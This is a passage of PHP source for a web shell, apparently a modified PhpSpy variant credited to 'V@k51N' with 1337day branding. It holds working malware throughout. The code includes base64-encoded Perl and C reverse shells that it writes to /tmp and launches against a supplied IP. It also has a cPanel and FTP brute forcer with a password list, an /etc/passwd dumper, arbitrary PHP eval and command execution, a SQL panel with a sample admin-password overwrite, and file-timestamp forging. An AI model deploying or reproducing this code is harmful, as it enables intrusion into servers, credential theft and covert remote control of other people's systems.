        foreach ($insertsql as $key => $val) {
            $valstr.= $tmp . $key . "='" . addslashes($val) . "'";
            $tmp = ',';
        }
        if ($valstr) {
            $where = base64_decode($base64);
            dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
            m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
        }
    }
    if ($doing == 'del' && $base64) {
        $where = base64_decode($base64);
        $delete_sql = "DELETE FROM $tablename WHERE $where";
        dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
        m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
    }
    if ($tablename && $doing == 'drop') {
        dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
        if (q("DROP TABLE $tablename")) {
            m('Drop table of success');
            $tablename = '';
        } else {
            m(mysql_error());
        }
    }
    $charsets = array('' => 'Default', 'gbk' => 'GBK', 'big5' => 'Big5', 'utf8' => 'UTF-8', 'latin1' => 'Latin1');
    formhead(array('title' => 'MySql Dump Database'));
    makehide('action', 'sqladmin');
    p('<p>');
    p('DBHost:');
    makeinput(array('name' => 'dbhost', 'size' => 20, 'value' => $dbhost));
    p(':');
    makeinput(array('name' => 'dbport', 'size' => 4, 'value' => $dbport));
    p('DBUser:');
    makeinput(array('name' => 'dbuser', 'size' => 15, 'value' => $dbuser));
    p('DBPass:');
    makeinput(array('name' => 'dbpass', 'size' => 15, 'value' => $dbpass));
    p('DBCharset:');
    makeselect(array('name' => 'charset', 'option' => $charsets, 'selected' => $charset));
    makeinput(array('name' => 'connect', 'value' => 'Connect', 'type' => 'submit', 'class' => 'bt'));
    p('</p>');
    formfoot();
?>
<script type="text/javascript">
function editrecord(action, base64, tablename){
	if (action == 'del') {
		if (!confirm('Is or isn\'t deletion record?')) return;
	}
	$('recordlist').doing.value=action;
	$('recordlist').base64.value=base64;
	$('recordlist').tablename.value=tablename;
	$('recordlist').submit();
}
function moddbname(dbname) {
	if(!dbname) return;
	$('setdbname').dbname.value=dbname;
	$('setdbname').submit();
}
function settable(tablename,doing,page) {
	if(!tablename) return;
	if (doing) {
		$('settable').doing.value=doing;
	}
	if (page) {
		$('settable').page.value=page;
	}
	$('settable').tablename.value=tablename;
	$('settable').submit();
}
</script>
<?php
    // SQL
    formhead(array('name' => 'recordlist'));
    makehide('doing');
    makehide('action', 'sqladmin');
    makehide('base64');
    makehide('tablename');
    p($dbform);
    formfoot();
    // Data
    formhead(array('name' => 'setdbname'));
    makehide('action', 'sqladmin');
    p($dbform);
    if (!$dbname) {
        makehide('dbname');
    }
    formfoot();
    formhead(array('name' => 'settable'));
    makehide('action', 'sqladmin');
    p($dbform);
    makehide('tablename');
    makehide('page', $page);
    makehide('doing');
    formfoot();
    $cachetables = array();
    $pagenum = 30;
    $page = intval($page);
    if ($page) {
        $start_limit = ($page - 1) * $pagenum;
    } else {
        $start_limit = 0;
        $page = 1;
    }
    if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
        dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
        // get mysql server
        $mysqlver = mysql_get_server_info();
        p('<p>MySQL ' . $mysqlver . ' running in ' . $dbhost . ' as ' . $dbuser . '@' . $dbhost . '</p>');
        $highver = $mysqlver > '4.1' ? 1 : 0;
        // Show database
        $query = q("SHOW DATABASES");
        $dbs = array();
        $dbs[] = '-- Select a database --';
        while ($db = mysql_fetch_array($query)) {
            $dbs[$db['Database']] = $db['Database'];
        }
        makeselect(array('title' => 'Please select a database:', 'name' => 'db[]', 'option' => $dbs, 'selected' => $dbname, 'onchange' => 'moddbname(this.options[this.selectedIndex].value)', 'newline' => 1));
        $tabledb = array();
        if ($dbname) {
            p('<p>');
            p('Current dababase: <a href="javascript:moddbname(\'' . $dbname . '\');">' . $dbname . '</a>');
            if ($tablename) {
                p(' | Current Table: <a href="javascript:settable(\'' . $tablename . '\');">' . $tablename . '</a> [ <a href="javascript:settable(\'' . $tablename . '\', \'insert\');">Insert</a> | <a href="javascript:settable(\'' . $tablename . '\', \'structure\');">Structure</a> | <a href="javascript:settable(\'' . $tablename . '\', \'drop\');">Drop</a> ]');
            }
            p('</p>');
            mysql_select_db($dbname);
            $getnumsql = '';
            $runquery = 0;
            if ($sql_query) {
                $runquery = 1;
            }
            $allowedit = 0;
            if ($tablename && !$sql_query) {
                $sql_query = "SELECT * FROM $tablename";
                $getnumsql = $sql_query;
                $sql_query = $sql_query . " LIMIT $start_limit, $pagenum";
                $allowedit = 1;
            }
            p('<form action="' . $self . '" method="POST">');
            p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>' . $dbname . '</font></b>:<BR>Example VBB Password: <font color=red>Inj3ct0r Team</font><BR><font color=yellow>UPDATE `user` SET `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
			</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">' . htmlspecialchars($sql_query, ENT_QUOTES) . '</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
            makehide('tablename', $tablename);
            makehide('action', 'sqladmin');
            p($dbform);
            p('</form>');
            if ($tablename || ($runquery && $sql_query)) {
                if ($doing == 'structure') {
                    $result = q("SHOW COLUMNS FROM $tablename");
                    $rowdb = array();
                    while ($row = mysql_fetch_array($result)) {
                        $rowdb[] = $row;
                    }
                    p('<table border="0" cellpadding="3" cellspacing="0">');
                    p('<tr class="head">');
                    p('<td>Field</td>');
                    p('<td>Type</td>');
                    p('<td>Null</td>');
                    p('<td>Key</td>');
                    p('<td>Default</td>');
                    p('<td>Extra</td>');
                    p('</tr>');
                    foreach ($rowdb as $row) {
                        $thisbg = bg();
                        p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
                        p('<td>' . $row['Field'] . '</td>');
                        p('<td>' . $row['Type'] . '</td>');
                        p('<td>' . $row['Null'] . '&nbsp;</td>');
                        p('<td>' . $row['Key'] . '&nbsp;</td>');
                        p('<td>' . $row['Default'] . '&nbsp;</td>');
                        p('<td>' . $row['Extra'] . '&nbsp;</td>');
                        p('</tr>');
                    }
                    tbfoot();
                } elseif ($doing == 'insert' || $doing == 'edit') {
                    $result = q('SHOW COLUMNS FROM ' . $tablename);
                    while ($row = mysql_fetch_array($result)) {
                        $rowdb[] = $row;
                    }
                    $rs = array();
                    if ($doing == 'insert') {
                        p('<h2>Insert new line in ' . $tablename . ' table &raquo;</h2>');
                    } else {
                        p('<h2>Update record in ' . $tablename . ' table &raquo;</h2>');
                        $where = base64_decode($base64);
                        $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
                        $rs = mysql_fetch_array($result);
                    }
                    p('<form method="post" action="' . $self . '">');
                    p($dbform);
                    makehide('action', 'sqladmin');
                    makehide('tablename', $tablename);
                    p('<table border="0" cellpadding="3" cellspacing="0">');
                    foreach ($rowdb as $row) {
                        if ($rs[$row['Field']]) {
                            $value = htmlspecialchars($rs[$row['Field']]);
                        } else {
                            $value = '';
                        }
                        $thisbg = bg();
                        p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
                        p('<td><b>' . $row['Field'] . '</b><br />' . $row['Type'] . '</td><td><textarea class="area" name="insertsql[' . $row['Field'] . ']" style="width:500px;height:60px;overflow:auto;">' . $value . '</textarea></td></tr>');
                    }
                    if ($doing == 'insert') {
                        p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
                    } else {
                        p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
                        makehide('base64', $base64);
                    }
                    p('</table></form>');
                } else {
                    $querys = @explode(';', $sql_query);
                    foreach ($querys as $num => $query) {
                        if ($query) {
                            p("<p><b>Query#{$num} : " . htmlspecialchars($query, ENT_QUOTES) . "</b></p>");
                            switch (qy($query)) {
                                case 0:
                                    p('<h2>Error : ' . mysql_error() . '</h2>');
                                break;
                                case 1:
                                    if (strtolower(substr($query, 0, 13)) == 'select * from') {
                                        $allowedit = 1;
                                    }
                                    if ($getnumsql) {
                                        $tatol = mysql_num_rows(q($getnumsql));
                                        $multipage = multi($tatol, $pagenum, $page, $tablename);
                                    }
                                    if (!$tablename) {
                                        $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
                                        $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
                                        preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i", $sql_line, $matches);
                                        $tablename = $matches[1][0];
                                    }
                                    $result = q($query);
                                    p($multipage);
                                    p('<table border="0" cellpadding="3" cellspacing="0">');
                                    p('<tr class="head">');
                                    if ($allowedit) p('<td>Action</td>');
                                    $fieldnum = @mysql_num_fields($result);
                                    for ($i = 0;$i < $fieldnum;$i++) {
                                        $name = @mysql_field_name($result, $i);
                                        $type = @mysql_field_type($result, $i);
                                        $len = @mysql_field_len($result, $i);
                                        p("<td nowrap>$name<br><span>$type($len)</span></td>");
                                    }
                                    p('</tr>');
                                    while ($mn = @mysql_fetch_assoc($result)) {
                                        $thisbg = bg();
                                        p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
                                        $where = $tmp = $b1 = '';
                                        foreach ($mn as $key => $inside) {
                                            if ($inside) {
                                                $where.= $tmp . $key . "='" . addslashes($inside) . "'";
                                                $tmp = ' AND ';
                                            }
                                            $b1.= '<td nowrap>' . html_clean($inside) . '&nbsp;</td>';
                                        }
                                        $where = base64_encode($where);
                                        if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \'' . $where . '\', \'' . $tablename . '\');">Edit</a> | <a href="javascript:editrecord(\'del\', \'' . $where . '\', \'' . $tablename . '\');">Del</a></td>');
                                        p($b1);
                                        p('</tr>');
                                        unset($b1);
                                    }
                                    tbfoot();
                                    p($multipage);
                                    break;
                                case 2:
                                    $ar = mysql_affected_rows();
                                    p('<h2>affected rows : <b>' . $ar . '</b></h2>');
                                    break;
                                }
                            }
                    }
                }
            } else {
                $query = q("SHOW TABLE STATUS");
                $table_num = $table_rows = $data_size = 0;
                $tabledb = array();
                while ($table = mysql_fetch_array($query)) {
                    $data_size = $data_size + $table['Data_length'];
                    $table_rows = $table_rows + $table['Rows'];
                    $table['Data_length'] = sizecount($table['Data_length']);
                    $table_num++;
                    $tabledb[] = $table;
                }
                $data_size = sizecount($data_size);
                unset($table);
                p('<table border="0" cellpadding="0" cellspacing="0">');
                p('<form action="' . $self . '" method="POST">');
                makehide('action', 'sqladmin');
                p($dbform);
                p('<tr class="head">');
                p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
                p('<td>Name</td>');
                p('<td>Rows</td>');
                p('<td>Data_length</td>');
                p('<td>Create_time</td>');
                p('<td>Update_time</td>');
                if ($highver) {
                    p('<td>Engine</td>');
                    p('<td>Collation</td>');
                }
                p('</tr>');
                foreach ($tabledb as $key => $table) {
                    $thisbg = bg();
                    p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
                    p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="' . $table['Name'] . '" /></td>');
                    p('<td><a href="javascript:settable(\'' . $table['Name'] . '\');">' . $table['Name'] . '</a> [ <a href="javascript:settable(\'' . $table['Name'] . '\', \'insert\');">Insert</a> | <a href="javascript:settable(\'' . $table['Name'] . '\', \'structure\');">Structure</a> | <a href="javascript:settable(\'' . $table['Name'] . '\', \'drop\');">Drop</a> ]</td>');
                    p('<td>' . $table['Rows'] . '</td>');
                    p('<td>' . $table['Data_length'] . '</td>');
                    p('<td>' . $table['Create_time'] . '</td>');
                    p('<td>' . $table['Update_time'] . '</td>');
                    if ($highver) {
                        p('<td>' . $table['Engine'] . '</td>');
                        p('<td>' . $table['Collation'] . '</td>');
                    }
                    p('</tr>');
                }
                p('<tr class=fout>');
                p('<td>&nbsp;</td>');
                p('<td>Total tables: ' . $table_num . '</td>');
                p('<td>' . $table_rows . '</td>');
                p('<td>' . $data_size . '</td>');
                p('<td colspan="' . ($highver ? 4 : 2) . '">&nbsp;</td>');
                p('</tr>');
                p("<tr class=\"fout\"><td colspan=\"" . ($highver ? 8 : 6) . "\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"" . SA_ROOT . $_SERVER['HTTP_HOST'] . "_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
                makehide('doing', 'backupmysql');
                formfoot();
                p("</table>");
                fr($query);
            }
        }
    }
    tbfoot();
    @mysql_close();
} //end sql backup
elseif ($action == 'backconnect') {
    !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
    !$yourport && $yourport = '12345';
    $usedb = array('perl' => 'perl', 'c' => 'c');
    $back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj" . "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR" . "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT" . "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI" . "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi" . "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl" . "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
    $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC" . "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb" . "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd" . "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ" . "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC" . "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D" . "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp" . "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
    if ($start && $yourip && $yourport && $use) {
        if ($use == 'perl') {
            cf('/tmp/angel_bc', $back_connect);
            $res = execute(which('perl') . " /tmp/angel_bc $yourip $yourport &");
        } else {
            cf('/tmp/angel_bc.c', $back_connect_c);
            $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
            @unlink('/tmp/angel_bc.c');
            $res = execute("/tmp/angel_bc $yourip $yourport &");
        }
        m("Now script try connect to $yourip port $yourport ...");
    }
    formhead(array('title' => 'Back Connect'));
    makehide('action', 'backconnect');
    p('<p>');
    p('Your IP:');
    makeinput(array('name' => 'yourip', 'size' => 20, 'value' => $yourip));
    p('Your Port:');
    makeinput(array('name' => 'yourport', 'size' => 15, 'value' => $yourport));
    p('Use:');
    makeselect(array('name' => 'use', 'option' => $usedb, 'selected' => $use));
    makeinput(array('name' => 'start', 'value' => 'Start', 'type' => 'submit', 'class' => 'bt'));
    p('</p>');
    formfoot();
} //end backconnect window via NC
// Brute
elseif ($action == 'brute') {
    formhead(array('title' => 'Brute Forcer'));
    makehide('action', 'brute');
    makehide('dir', $brute);
    @ini_set('memory_limit', 1000000000000);
    $connect_timeout = 5;
    @set_time_limit(0);
    $submit = $_REQUEST['submit'];
    $users = $_REQUEST['users'];
    $pass = $_REQUEST['passwords'];
    $target = $_REQUEST['target'];
    $option = $_REQUEST['option'];
    $passlist = "0123456
01234567
012345678
0123456789
01234567890
123456
1234567
12345678
123456789
1234567890
111111
000000
222222
333333
444444
555555
666666
777777
888888
999999
123123
456456
789789
123321
456654
654321
7654321
87654321
987654321
0987654321
admin
administrator
admincp
cpanel
adminx
admins
password
passwords
passw0rd
p@ssw0rd
p@ssword
khongco
25251325
passw0rds";
    if ($target == '') {
        $target = 'localhost';
    }
    print " <div align='center'>
<form method='post' style='border: 1px solid #000000'><br><br>
<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#966117 border=1><tr><td>
<b> Target  : </font><input type='text' name='target' size='16' value= $target style='border: font-family:tahoma; font-weight:bold;'></p></font></b></p>
<div align='center'><br>
<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#966117 border=1>
<tr>
<td align='center'>
<b>Username</b></td>
<td>
<p align='center'>
<b>Password</b></td>
</tr>
</table>
<p align='center'>
<textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>";
    $i = 0;
    while ($i < 60000) {
        $line = posix_getpwuid($i);
        if (!empty($line)) {
            while (list($key, $vba_etcpwd) = each($line)) {
                echo "" . $vba_etcpwd . "\n";
                break;
            }
        }
        $i++;
    }
    echo "
</textarea>
<textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$passlist</textarea><br>
<br>
<b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel
<input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='Attack' name='submit' ></p>
</td></tr></table></td></tr></form><p align= 'left'>";
?>
<?php
    function ftp_check($host, $user, $pass, $timeout) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, "ftp://$host");
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
        curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
        curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
        curl_setopt($ch, CURLOPT_FAILONERROR, 1);
        $data = curl_exec($ch);
        if (curl_errno($ch) == 28) {
            print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
            exit;
        } elseif (curl_errno($ch) == 0) {
            p("<b> submit[at]1337day.com # </b>
<b> Attacking has been done! Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font> => <a href=http://$user:$pass@$host:2082 target=_blank>Login</a></b><br>");
        }
        curl_close($ch);
    }
    function cpanel_check($host, $user, $pass, $timeout) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
        curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
        curl_setopt($ch, CURLOPT_FAILONERROR, 1);
        $data = curl_exec($ch);
        if (curl_errno($ch) == 28) {
            print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
            exit;
        } elseif (curl_errno($ch) == 0) {
            p("<b> submit[at]1337day.com # </b><b>Attacking has been done!</a> Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font></b><br>");
        }
        curl_close($ch);
    }
    if (isset($submit) && !empty($submit)) {
        $userlist = explode("\n", $users);
        $passlist = explode("\n", $pass);
        p('<b>submit[at]1337day.com # Attacking ...</font></b><br>');
        foreach ($userlist as $user) {
            $_user = trim($user);
            foreach ($passlist as $password) {
                $_pass = trim($password);
                if ($option == "ftp") {
                    ftp_check($target, $_user, $_pass, $connect_timeout);
                }
                if ($option == "cpanel") {
                    cpanel_check($target, $_user, $_pass, $connect_timeout);
                }
            }
        }
    }
    formfoot();
} elseif ($action == 'etcpwd') {
    formhead(array('title' => 'Get /etc/passwd'));
    makehide('action', 'etcpwd');
    makehide('dir', $nowpath);
    $i = 0;
    echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";
    while ($i < 60000) {
        $line = posix_getpwuid($i);
        if (!empty($line)) {
            while (list($key, $vba_etcpwd) = each($line)) {
                echo "" . $vba_etcpwd . "\n";
                break;
            }
        }
        $i++;
    }
    echo "</textarea></p>";
    formfoot();
} elseif ($action == 'eval') {
    $phpcode = trim($phpcode);
    if ($phpcode) {
        if (!preg_match('#<\?#si', $phpcode)) {
            $phpcode = "<?php\n\n{$phpcode}\n\n?>";
        }
        eval("?" . ">$phpcode<?");
    }
    formhead(array('title' => 'Eval PHP Code'));
    makehide('action', 'eval');
    maketext(array('title' => 'PHP Code', 'name' => 'phpcode', 'value' => $phpcode));
    p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
    formfooter();
} //end eval
elseif ($action == 'editfile') {
    if (file_exists($opfile)) {
        $fp = @fopen($opfile, 'r');
        $contents = @fread($fp, filesize($opfile));
        @fclose($fp);
        $contents = htmlspecialchars($contents);
    }
    formhead(array('title' => 'Create / Edit File'));
    makehide('action', 'file');
    makehide('dir', $nowpath);
    makeinput(array('title' => '', 'name' => 'editfilename', 'value' => $opfile, 'newline' => 1));
    maketext(array('title' => 'File Content', 'name' => 'filecontent', 'value' => $contents));
    formfooter();
} //end editfile
elseif ($action == 'newtime') {
    $opfilemtime = @filemtime($opfile);
    //$time = strtotime("$year-$month-$day $hour:$minute:$second");
    $cachemonth = array('January' => 1, 'February' => 2, 'March' => 3, 'April' => 4, 'May' => 5, 'June' => 6, 'July' => 7, 'August' => 8, 'September' => 9, 'October' => 10, 'November' => 11, 'December' => 12);
    formhead(array('title' => ''));
    makehide('action', 'file');
    makehide('dir', $nowpath);
    makeinput(array('title' => 'Alter file', 'name' => 'curfile', 'value' => $opfile, 'size' => 120, 'newline' => 1));
    makeinput(array('title' => 'Reference file (fullpath)', 'name' => 'tarfile', 'size' => 120, 'newline' => 1));
    formfooter();
    formhead(array('title' => 'Set last m0dified'));
    makehide('action', 'file');
    makehide('dir', $nowpath);
    makeinput(array('title' => 'Current file (fullpath)', 'name' => 'curfile', 'value' => $opfile, 'size' => 120, 'newline' => 1));
    p('<p>Instead &raquo;');
    p('year:');
    makeinput(array('name' => 'year', 'value' => date('Y', $opfilemtime), 'size' => 4));
    p('month:');
    makeinput(array('name' => 'month', 'value' => date('m', $opfilemtime), 'size' => 2));
    p('day:');
    makeinput(array('name' => 'day', 'value' => date('d', $opfilemtime), 'size' => 2));
    p('hour:');
    makeinput(array('name' => 'hour', 'value' => date('H', $opfilemtime), 'size' => 2));
    p('minute:');
    makeinput(array('name' => 'minute', 'value' => date('i', $opfilemtime), 'size' => 2));
    p('second:');
    makeinput(array('name' => 'second', 'value' => date('s', $opfilemtime), 'size' => 2));
    p('</p>');
    formfooter();
} //end newtime
elseif ($action == 'shell') {
    if (IS_WIN && IS_COM) {
        if ($program && $parameter) {
            $shell = new COM('Shell.Application');
            $a = $shell->ShellExecute($program, $parameter);
            m('Program run has ' . (!$a ? 'success' : 'fail'));
        }
        !$program && $program = 'c:\windows\system32\cmd.exe';
        !$parameter && $parameter = '/c net start > ' . SA_ROOT . 'log.txt';
        formhead(array('title' => 'Execute Program'));
        makehide('action', 'shell');
        makeinput(array('title' => 'Program', 'name' => 'program', 'value' => $program, 'newline' => 1));
        p('<p>');
        makeinput(array('title' => 'Parameter', 'name' => 'parameter', 'value' => $parameter));
        makeinput(array('name' => 'submit', 'class' => 'bt', 'type' => 'submit', 'value' => 'Execute'));
        p('</p>');
        formfoot();
    }
    formhead(array('title' => 'C0mmand Shell'));
    makehide('action', 'shell');
    if (IS_WIN && IS_COM) {
        $execfuncdb = array('phpfunc' => 'phpfunc', 'wscript' => 'wscript', 'proc_open' => 'proc_open');
        makeselect(array('title' => 'Use:', 'name' => 'execfunc', 'option' => $execfuncdb, 'selected' => $execfunc, 'newline' => 1));
    }
    p('<p>');
    makeinput(array('title' => 'C0mmand', 'name' => 'command', 'value' => $command));
    makeinput(array('name' => 'submit', 'class' => 'bt', 'type' => 'submit', 'value' => 'eX3cuT3'));
    p('</p>');
    formfoot();
    if ($command) {
        p('<hr width="100%" noshade /><pre>');
        if ($execfunc == 'wscript' && IS_WIN && IS_COM) {
            $wsh = new COM('WScript.shell');
            $exec = $wsh->exec('cmd.exe /c ' . $command);
            $stdout = $exec->StdOut();
            $stroutput = $stdout->ReadAll();
            echo $stroutput;
        } elseif ($execfunc == 'proc_open' && IS_WIN && IS_COM) {
            $descriptorspec = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
            $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
            if (is_resource($process)) {
                fwrite($pipes[0], $command . "\r\n");
                fwrite($pipes[0], "exit\r\n");
                fclose($pipes[0]);
                while (!feof($pipes[1])) {
                    echo fgets($pipes[1], 1024);
                }
                fclose($pipes[1]);
                while (!feof($pipes[2])) {
                    echo fgets($pipes[2], 1024);
                }
                fclose($pipes[2]);
                proc_close($process);
            }
        } else {
            echo (execute($command));
        }
        p('</pre>');
    }
} //end shell
elseif ($action == 'phpenv') {
    $upsize = getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
    $adminmail = isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
    !$dis_func && $dis_func = 'No';
    $info = array(1 => array('S3rV3r Tim3', date('Y/m/d h:i:s', $timestamp)), 2 => array('S3rV3r D0maiN', $_SERVER['SERVER_NAME']), 3 => array('S3rV3r IP', gethostbyname($_SERVER['SERVER_NAME'])), 4 => array('S3rV3r 0S', PHP_OS), 5 => array('Server 0S CharS3t', $_SERVER['HTTP_ACCEPT_LANGUAGE']), 6 => array('S3rV3r S0ftWar3', $_SERVER['SERVER_SOFTWARE']), 7 => array('S3rV3r W3b P0rt', $_SERVER['SERVER_PORT']), 8 => array('pHp m0d3', strtoupper(php_sapi_name())), 9 => array('PatH', __FILE__),);
    if ($phpvarname) {
        m($phpvarname . ' : ' . getcfg($phpvarname));
    }
    formhead(array('title' => 'S3rV3r Inf0rmati0N'));
    makehide('action', 'phpenv');
    makeinput(array('title' => 'PHP configuration Here', 'name' => 'phpvarname', 'value' => $phpvarname, 'newline' => 1));
    formfooter();
    $hp = array(0 => 'S3rV3r', 1 => 'PHP');
    for ($a = 0;$a < 2;$a++) {
        p('<h2>' . $hp[$a] . ' &raquo;</h2>');
        p('<ul class="info">');
        if ($a == 0) {
            for ($i = 1;$i <= 9;$i++) {
                p('<li><u>' . $info[$i][0] . ':</u>' . $info[$i][1] . '</li>');
            }
        } elseif ($a == 1) {
            for ($i = 10;$i <= 23;$i++) {
                p('<li><u>' . $info[$i][0] . ':</u>' . $info[$i][1] . '</li>');
            }
        }
        p('</ul>');
    }
} //end phpenv
else {
    m('Undefined Action');
}
?>
</td></tr></table>
<div style="padding:10px;border-bottom:1px solid #000000;border-top:1px solid #000000;background:#000000;">
	<span style="float:right;"><?php debuginfo();
ob_end_flush(); ?></span>
<center><br><br><div class="info"> M0d1f13d by <B>V@k51N</B><div class="jaya"> All Rights Reserved. &copy; 2014</div></center><br><br>
</div>
</body>
</html>

<?php
/*======================================================
Show info shell
======================================================*/
function m($msg) {
    echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
    echo $msg;
    echo '</div>';
}
function scookie($key, $value, $life = 0, $prefix = 1) {
    global $admin, $timestamp, $_SERVER;
    $key = ($prefix ? $admin['cookiepre'] : '') . $key;
    $life = $life ? $life : $admin['cookielife'];
    $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
